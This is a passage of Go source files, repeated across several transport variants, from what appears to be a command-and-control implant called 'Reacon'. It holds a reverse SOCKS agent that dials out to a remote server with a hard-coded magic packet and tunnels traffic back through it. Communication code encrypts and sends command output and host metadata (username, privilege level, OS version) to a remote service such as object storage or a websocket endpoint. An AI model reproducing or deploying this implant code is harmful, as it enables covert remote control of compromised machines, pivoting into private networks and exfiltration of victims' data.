57 | } else {
58 | as.AddrType, as.FQDN = ATYPDomain, host
59 | }
60 | return
61 | }
62 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/statute/addr.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | )
8 |
9 | // AddrSpec is used to return the target AddrSpec
10 | // which may be specified as IPv4, IPv6, or a FQDN
11 | type AddrSpec struct {
12 | FQDN string
13 | IP net.IP
14 | Port int
15 | // private stuff set when Request parsed
16 | AddrType byte
17 | }
18 |
19 | // String returns a string suitable to dial; prefer returning IP-based
20 | // address, fallback to FQDN
21 | func (sf *AddrSpec) String() string {
22 | if len(sf.IP) != 0 {
23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port))
24 | }
25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port))
26 | }
27 |
28 | // Address returns a string which may be specified
29 | // if IPv4/IPv6 will return < ip:port >
30 | // if FQDN will return < domain ip:port >
31 | // Note: do not used to dial, Please use String
32 | func (sf AddrSpec) Address() string {
33 | if sf.FQDN != "" {
34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port)
35 | }
36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port)
37 | }
38 |
39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address
40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) {
41 | var host, port string
42 |
43 | host, port, err = net.SplitHostPort(addr)
44 | if err != nil {
45 | return
46 | }
47 | as.Port, err = strconv.Atoi(port)
48 | if err != nil {
49 | return
50 | }
51 |
52 | ip := net.ParseIP(host)
53 | if ip4 := ip.To4(); ip4 != nil {
54 | as.AddrType, as.IP = ATYPIPv4, ip
55 | } else if ip6 := ip.To16(); ip6 != nil {
56 | as.AddrType, as.IP = ATYPIPv6, ip
57 | } else {
58 | as.AddrType, as.FQDN = ATYPDomain, host
59 | }
60 | return
61 | }
62 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/communication/communication.go:
--------------------------------------------------------------------------------
1 | package communication
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/utils"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "sync"
10 | "time"
11 | )
12 |
13 | func ErrorProcess(err error) {
14 | errMsgBytes := []byte(err.Error())
15 | result := errMsgBytes
16 | fmt.Println(err)
17 | criticalSection(31, result)
18 | }
19 |
20 | func DataProcess(callbackType int, b []byte) {
21 | result := b
22 | var err error
23 | if callbackType == 0 {
24 | result, err = utils.CodepageToUTF8(b)
25 | if err != nil {
26 | ErrorProcess(err)
27 | }
28 | }
29 | criticalSection(callbackType, result)
30 | }
31 |
32 | var mutex sync.Mutex
33 |
34 | func criticalSection(callbackType int, b []byte) {
35 | mutex.Lock()
36 |
37 | finalPaket := MakePacket(callbackType, b)
38 | finalPaket, _ = encrypt.Encrypt(finalPaket)
39 | finalPaket, _ = encrypt.EncodeBase64(finalPaket)
40 |
41 | MetaLen := len(utils.MetaInfo)
42 | MetaLenBytes := utils.WriteInt(MetaLen)
43 |
44 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket)
45 | normalDataInt := 2
46 | normalDataBytes := utils.WriteInt(normalDataInt)
47 | msgToSend := utils.BytesCombine(normalDataBytes, msg)
48 |
49 | Send(Service, utils.Uid+fmt.Sprintf("/client_%020d", time.Now().UnixNano()), msgToSend)
50 | mutex.Unlock()
51 | }
52 |
53 | // replyType(4) | result 并加密
54 | func MakePacket(replyType int, b []byte) []byte {
55 | buf := new(bytes.Buffer)
56 |
57 | replyTypeBytes := make([]byte, 4)
58 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))
59 | buf.Write(replyTypeBytes)
60 |
61 | buf.Write(b)
62 |
63 | encrypted, err := encrypt.Encrypt(buf.Bytes())
64 | if err != nil {
65 | return nil
66 | }
67 |
68 | buf.Reset()
69 |
70 | buf.Write(encrypted)
71 |
72 | return buf.Bytes()
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/socks5.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "Reacon/pkg/services/proxy/bufferpool"
5 | "Reacon/pkg/services/proxy/mux"
6 | "crypto/tls"
7 | "log"
8 | "math"
9 | "net"
10 | )
11 |
12 | var (
13 | bufferPool = bufferpool.NewPool(math.MaxUint16)
14 | magicPacket = [64]byte{
15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f,
16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd,
17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8,
18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee,
19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e,
20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4,
21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde,
22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0,
23 | }
24 | )
25 | var Session *mux.Mux
26 |
27 | // Start a socks5 server and tunnel the traffic to the server at address.
28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
29 | log.Println("Connecting to socks server at " + serverAddress)
30 |
31 | var conn net.Conn
32 | var err error
33 |
34 | if useTLS {
35 | conn, err = tls.Dial("tcp", serverAddress, nil)
36 | } else {
37 | conn, err = net.Dial("tcp", serverAddress)
38 | }
39 |
40 | if err != nil {
41 | log.Fatalln(err.Error())
42 | }
43 |
44 | //1. 先发送magicPacket
45 |
46 | _, err = conn.Write(magicPacket[:])
47 | if err != nil {
48 | log.Fatalln(err.Error())
49 | }
50 |
51 | log.Println("Connected")
52 |
53 | // 多路复用的一个mux
54 | Session = mux.Server(conn, psk)
55 |
56 | for {
57 | stream, err := Session.AcceptStream()
58 | if err != nil {
59 | log.Println(err.Error())
60 | break
61 | }
62 | go func() {
63 | // Note ServeConn() will take overship of stream and close it.
64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
65 | log.Println(err.Error())
66 | }
67 | }()
68 | }
69 |
70 | Session.Close()
71 | }
72 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/socks5.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "Reacon/pkg/services/proxy/bufferpool"
5 | "Reacon/pkg/services/proxy/mux"
6 | "crypto/tls"
7 | "log"
8 | "math"
9 | "net"
10 | )
11 |
12 | var (
13 | bufferPool = bufferpool.NewPool(math.MaxUint16)
14 | magicPacket = [64]byte{
15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f,
16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd,
17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8,
18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee,
19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e,
20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4,
21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde,
22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0,
23 | }
24 | )
25 | var Session *mux.Mux
26 |
27 | // Start a socks5 server and tunnel the traffic to the server at address.
28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
29 | log.Println("Connecting to socks server at " + serverAddress)
30 |
31 | var conn net.Conn
32 | var err error
33 |
34 | if useTLS {
35 | conn, err = tls.Dial("tcp", serverAddress, nil)
36 | } else {
37 | conn, err = net.Dial("tcp", serverAddress)
38 | }
39 |
40 | if err != nil {
41 | log.Fatalln(err.Error())
42 | }
43 |
44 | //1. 先发送magicPacket
45 |
46 | _, err = conn.Write(magicPacket[:])
47 | if err != nil {
48 | log.Fatalln(err.Error())
49 | }
50 |
51 | log.Println("Connected")
52 |
53 | // 多路复用的一个mux
54 | Session = mux.Server(conn, psk)
55 |
56 | for {
57 | stream, err := Session.AcceptStream()
58 | if err != nil {
59 | log.Println(err.Error())
60 | break
61 | }
62 | go func() {
63 | // Note ServeConn() will take overship of stream and close it.
64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
65 | log.Println(err.Error())
66 | }
67 | }()
68 | }
69 |
70 | Session.Close()
71 | }
72 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/socks5.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "Reacon/pkg/services/proxy/bufferpool"
5 | "Reacon/pkg/services/proxy/mux"
6 | "crypto/tls"
7 | "log"
8 | "math"
9 | "net"
10 | )
11 |
12 | var (
13 | bufferPool = bufferpool.NewPool(math.MaxUint16)
14 | magicPacket = [64]byte{
15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f,
16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd,
17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8,
18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee,
19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e,
20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4,
21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde,
22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0,
23 | }
24 | )
25 | var Session *mux.Mux
26 |
27 | // Start a socks5 server and tunnel the traffic to the server at address.
28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
29 | log.Println("Connecting to socks server at " + serverAddress)
30 |
31 | var conn net.Conn
32 | var err error
33 |
34 | if useTLS {
35 | conn, err = tls.Dial("tcp", serverAddress, nil)
36 | } else {
37 | conn, err = net.Dial("tcp", serverAddress)
38 | }
39 |
40 | if err != nil {
41 | log.Fatalln(err.Error())
42 | }
43 |
44 | //1. 先发送magicPacket
45 |
46 | _, err = conn.Write(magicPacket[:])
47 | if err != nil {
48 | log.Fatalln(err.Error())
49 | }
50 |
51 | log.Println("Connected")
52 |
53 | // 多路复用的一个mux
54 | Session = mux.Server(conn, psk)
55 |
56 | for {
57 | stream, err := Session.AcceptStream()
58 | if err != nil {
59 | log.Println(err.Error())
60 | break
61 | }
62 | go func() {
63 | // Note ServeConn() will take overship of stream and close it.
64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
65 | log.Println(err.Error())
66 | }
67 | }()
68 | }
69 |
70 | Session.Close()
71 | }
72 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/socks5.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "Reacon/pkg/services/proxy/bufferpool"
5 | "Reacon/pkg/services/proxy/mux"
6 | "crypto/tls"
7 | "log"
8 | "math"
9 | "net"
10 | )
11 |
12 | var (
13 | bufferPool = bufferpool.NewPool(math.MaxUint16)
14 | magicPacket = [64]byte{
15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f,
16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd,
17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8,
18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee,
19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e,
20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4,
21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde,
22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0,
23 | }
24 | )
25 | var Session *mux.Mux
26 |
27 | // Start a socks5 server and tunnel the traffic to the server at address.
28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
29 | log.Println("Connecting to socks server at " + serverAddress)
30 |
31 | var conn net.Conn
32 | var err error
33 |
34 | if useTLS {
35 | conn, err = tls.Dial("tcp", serverAddress, nil)
36 | } else {
37 | conn, err = net.Dial("tcp", serverAddress)
38 | }
39 |
40 | if err != nil {
41 | log.Fatalln(err.Error())
42 | }
43 |
44 | //1. 先发送magicPacket
45 |
46 | _, err = conn.Write(magicPacket[:])
47 | if err != nil {
48 | log.Fatalln(err.Error())
49 | }
50 |
51 | log.Println("Connected")
52 |
53 | // 多路复用的一个mux
54 | Session = mux.Server(conn, psk)
55 |
56 | for {
57 | stream, err := Session.AcceptStream()
58 | if err != nil {
59 | log.Println(err.Error())
60 | break
61 | }
62 | go func() {
63 | // Note ServeConn() will take overship of stream and close it.
64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
65 | log.Println(err.Error())
66 | }
67 | }()
68 | }
69 |
70 | Session.Close()
71 | }
72 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/socks5.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "Reacon/pkg/services/proxy/bufferpool"
5 | "Reacon/pkg/services/proxy/mux"
6 | "crypto/tls"
7 | "log"
8 | "math"
9 | "net"
10 | )
11 |
12 | var (
13 | bufferPool = bufferpool.NewPool(math.MaxUint16)
14 | magicPacket = [64]byte{
15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f,
16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd,
17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8,
18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee,
19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e,
20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4,
21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde,
22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0,
23 | }
24 | )
25 | var Session *mux.Mux
26 |
27 | // Start a socks5 server and tunnel the traffic to the server at address.
28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
29 | log.Println("Connecting to socks server at " + serverAddress)
30 |
31 | var conn net.Conn
32 | var err error
33 |
34 | if useTLS {
35 | conn, err = tls.Dial("tcp", serverAddress, nil)
36 | } else {
37 | conn, err = net.Dial("tcp", serverAddress)
38 | }
39 |
40 | if err != nil {
41 | log.Fatalln(err.Error())
42 | }
43 |
44 | //1. 先发送magicPacket
45 |
46 | _, err = conn.Write(magicPacket[:])
47 | if err != nil {
48 | log.Fatalln(err.Error())
49 | }
50 |
51 | log.Println("Connected")
52 |
53 | // 多路复用的一个mux
54 | Session = mux.Server(conn, psk)
55 |
56 | for {
57 | stream, err := Session.AcceptStream()
58 | if err != nil {
59 | log.Println(err.Error())
60 | break
61 | }
62 | go func() {
63 | // Note ServeConn() will take overship of stream and close it.
64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
65 | log.Println(err.Error())
66 | }
67 | }()
68 | }
69 |
70 | //Session.Close()
71 | }
72 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/communication/communication.go:
--------------------------------------------------------------------------------
1 | package communication
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/utils"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "github.com/togettoyou/wsc"
10 | "sync"
11 | )
12 |
13 | func ErrorProcess(err error) {
14 | errMsgBytes := []byte(err.Error())
15 | result := errMsgBytes
16 | fmt.Println(err)
17 | criticalSection(31, result)
18 | }
19 |
20 | func DataProcess(callbackType int, b []byte) {
21 | result := b
22 | var err error
23 | if callbackType == 0 {
24 | result, err = utils.CodepageToUTF8(b)
25 | if err != nil {
26 | ErrorProcess(err)
27 | }
28 | }
29 | criticalSection(callbackType, result)
30 | }
31 |
32 | var mutex sync.Mutex
33 |
34 | func criticalSection(callbackType int, b []byte) {
35 | mutex.Lock()
36 | finalPaket := MakePacket(callbackType, b)
37 | finalPaket, _ = encrypt.Encrypt(finalPaket)
38 | finalPaket, _ = encrypt.EncodeBase64(finalPaket)
39 |
40 | MetaLen := len(utils.MetaInfo)
41 | MetaLenBytes := utils.WriteInt(MetaLen)
42 |
43 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket)
44 |
45 | normalDataInt := 2
46 | normalDataBytes := utils.WriteInt(normalDataInt)
47 | msgToSend := utils.BytesCombine(normalDataBytes, msg)
48 |
49 | SendData(utils.WebsocketClient, msgToSend)
50 | mutex.Unlock()
51 | }
52 | func SendData(connection *wsc.Wsc, data []byte) {
53 | connection.SendBinaryMessage(data)
54 | }
55 |
56 | // replyType(4) | result 并加密
57 | func MakePacket(replyType int, b []byte) []byte {
58 | buf := new(bytes.Buffer)
59 |
60 | replyTypeBytes := make([]byte, 4)
61 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))
62 | buf.Write(replyTypeBytes)
63 |
64 | buf.Write(b)
65 |
66 | encrypted, err := encrypt.Encrypt(buf.Bytes())
67 | if err != nil {
68 | return nil
69 | }
70 |
71 | buf.Reset()
72 |
73 | buf.Write(encrypted)
74 |
75 | return buf.Bytes()
76 |
77 | }
78 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/statute/method.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "io"
5 | )
6 |
7 | // MethodRequest is the negotiation method request packet
8 | // The SOCKS handshake method request is formed as follows:
9 | //
10 | // +-----+----------+---------------+
11 | // | VER | NMETHODS | METHODS |
12 | // +-----+----------+---------------+
13 | // | 1 | 1 | X'00' - X'FF' |
14 | // +-----+----------+---------------+
15 | type MethodRequest struct {
16 | Ver byte
17 | NMethods byte
18 | Methods []byte // 1-255 bytes
19 | }
20 |
21 | // NewMethodRequest new negotiation method request
22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest {
23 | return MethodRequest{
24 | ver,
25 | byte(len(medthods)),
26 | medthods,
27 | }
28 | }
29 |
30 | // ParseMethodRequest parse method request.
31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) {
32 | // Read the version byte
33 | tmp := []byte{0}
34 | if _, err = r.Read(tmp); err != nil {
35 | return
36 | }
37 | mr.Ver = tmp[0]
38 |
39 | // Read number method
40 | if _, err = r.Read(tmp); err != nil {
41 | return
42 | }
43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0])
44 | // read methods
45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods))
46 | return
47 | }
48 |
49 | // Bytes method request to bytes
50 | func (sf MethodRequest) Bytes() []byte {
51 | b := make([]byte, 0, 2+sf.NMethods)
52 | b = append(b, sf.Ver, sf.NMethods)
53 | b = append(b, sf.Methods...)
54 | return b
55 | }
56 |
57 | // MethodReply is the negotiation method reply packet
58 | // The SOCKS handshake method response is formed as follows:
59 | //
60 | // +-----+--------+
61 | // | VER | METHOD |
62 | // +-----+--------+
63 | // | 1 | 1 |
64 | // +-----+--------+
65 | type MethodReply struct {
66 | Ver byte
67 | Method byte
68 | }
69 |
70 | // ParseMethodReply parse method reply.
71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) {
72 | bb := []byte{0, 0}
73 | if _, err = io.ReadFull(r, bb); err != nil {
74 | return
75 | }
76 | n.Ver, n.Method = bb[0], bb[1]
77 | return
78 | }
79 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/statute/method.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "io"
5 | )
6 |
7 | // MethodRequest is the negotiation method request packet
8 | // The SOCKS handshake method request is formed as follows:
9 | //
10 | // +-----+----------+---------------+
11 | // | VER | NMETHODS | METHODS |
12 | // +-----+----------+---------------+
13 | // | 1 | 1 | X'00' - X'FF' |
14 | // +-----+----------+---------------+
15 | type MethodRequest struct {
16 | Ver byte
17 | NMethods byte
18 | Methods []byte // 1-255 bytes
19 | }
20 |
21 | // NewMethodRequest new negotiation method request
22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest {
23 | return MethodRequest{
24 | ver,
25 | byte(len(medthods)),
26 | medthods,
27 | }
28 | }
29 |
30 | // ParseMethodRequest parse method request.
31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) {
32 | // Read the version byte
33 | tmp := []byte{0}
34 | if _, err = r.Read(tmp); err != nil {
35 | return
36 | }
37 | mr.Ver = tmp[0]
38 |
39 | // Read number method
40 | if _, err = r.Read(tmp); err != nil {
41 | return
42 | }
43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0])
44 | // read methods
45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods))
46 | return
47 | }
48 |
49 | // Bytes method request to bytes
50 | func (sf MethodRequest) Bytes() []byte {
51 | b := make([]byte, 0, 2+sf.NMethods)
52 | b = append(b, sf.Ver, sf.NMethods)
53 | b = append(b, sf.Methods...)
54 | return b
55 | }
56 |
57 | // MethodReply is the negotiation method reply packet
58 | // The SOCKS handshake method response is formed as follows:
59 | //
60 | // +-----+--------+
61 | // | VER | METHOD |
62 | // +-----+--------+
63 | // | 1 | 1 |
64 | // +-----+--------+
65 | type MethodReply struct {
66 | Ver byte
67 | Method byte
68 | }
69 |
70 | // ParseMethodReply parse method reply.
71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) {
72 | bb := []byte{0, 0}
73 | if _, err = io.ReadFull(r, bb); err != nil {
74 | return
75 | }
76 | n.Ver, n.Method = bb[0], bb[1]
77 | return
78 | }
79 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/statute/method.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "io"
5 | )
6 |
7 | // MethodRequest is the negotiation method request packet
8 | // The SOCKS handshake method request is formed as follows:
9 | //
10 | // +-----+----------+---------------+
11 | // | VER | NMETHODS | METHODS |
12 | // +-----+----------+---------------+
13 | // | 1 | 1 | X'00' - X'FF' |
14 | // +-----+----------+---------------+
15 | type MethodRequest struct {
16 | Ver byte
17 | NMethods byte
18 | Methods []byte // 1-255 bytes
19 | }
20 |
21 | // NewMethodRequest new negotiation method request
22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest {
23 | return MethodRequest{
24 | ver,
25 | byte(len(medthods)),
26 | medthods,
27 | }
28 | }
29 |
30 | // ParseMethodRequest parse method request.
31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) {
32 | // Read the version byte
33 | tmp := []byte{0}
34 | if _, err = r.Read(tmp); err != nil {
35 | return
36 | }
37 | mr.Ver = tmp[0]
38 |
39 | // Read number method
40 | if _, err = r.Read(tmp); err != nil {
41 | return
42 | }
43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0])
44 | // read methods
45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods))
46 | return
47 | }
48 |
49 | // Bytes method request to bytes
50 | func (sf MethodRequest) Bytes() []byte {
51 | b := make([]byte, 0, 2+sf.NMethods)
52 | b = append(b, sf.Ver, sf.NMethods)
53 | b = append(b, sf.Methods...)
54 | return b
55 | }
56 |
57 | // MethodReply is the negotiation method reply packet
58 | // The SOCKS handshake method response is formed as follows:
59 | //
60 | // +-----+--------+
61 | // | VER | METHOD |
62 | // +-----+--------+
63 | // | 1 | 1 |
64 | // +-----+--------+
65 | type MethodReply struct {
66 | Ver byte
67 | Method byte
68 | }
69 |
70 | // ParseMethodReply parse method reply.
71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) {
72 | bb := []byte{0, 0}
73 | if _, err = io.ReadFull(r, bb); err != nil {
74 | return
75 | }
76 | n.Ver, n.Method = bb[0], bb[1]
77 | return
78 | }
79 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/statute/method.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "io"
5 | )
6 |
7 | // MethodRequest is the negotiation method request packet
8 | // The SOCKS handshake method request is formed as follows:
9 | //
10 | // +-----+----------+---------------+
11 | // | VER | NMETHODS | METHODS |
12 | // +-----+----------+---------------+
13 | // | 1 | 1 | X'00' - X'FF' |
14 | // +-----+----------+---------------+
15 | type MethodRequest struct {
16 | Ver byte
17 | NMethods byte
18 | Methods []byte // 1-255 bytes
19 | }
20 |
21 | // NewMethodRequest new negotiation method request
22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest {
23 | return MethodRequest{
24 | ver,
25 | byte(len(medthods)),
26 | medthods,
27 | }
28 | }
29 |
30 | // ParseMethodRequest parse method request.
31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) {
32 | // Read the version byte
33 | tmp := []byte{0}
34 | if _, err = r.Read(tmp); err != nil {
35 | return
36 | }
37 | mr.Ver = tmp[0]
38 |
39 | // Read number method
40 | if _, err = r.Read(tmp); err != nil {
41 | return
42 | }
43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0])
44 | // read methods
45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods))
46 | return
47 | }
48 |
49 | // Bytes method request to bytes
50 | func (sf MethodRequest) Bytes() []byte {
51 | b := make([]byte, 0, 2+sf.NMethods)
52 | b = append(b, sf.Ver, sf.NMethods)
53 | b = append(b, sf.Methods...)
54 | return b
55 | }
56 |
57 | // MethodReply is the negotiation method reply packet
58 | // The SOCKS handshake method response is formed as follows:
59 | //
60 | // +-----+--------+
61 | // | VER | METHOD |
62 | // +-----+--------+
63 | // | 1 | 1 |
64 | // +-----+--------+
65 | type MethodReply struct {
66 | Ver byte
67 | Method byte
68 | }
69 |
70 | // ParseMethodReply parse method reply.
71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) {
72 | bb := []byte{0, 0}
73 | if _, err = io.ReadFull(r, bb); err != nil {
74 | return
75 | }
76 | n.Ver, n.Method = bb[0], bb[1]
77 | return
78 | }
79 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/sysinfo/sysinfo_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux && !arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]int8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/sysinfo/sysinfo_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux && !arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]int8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
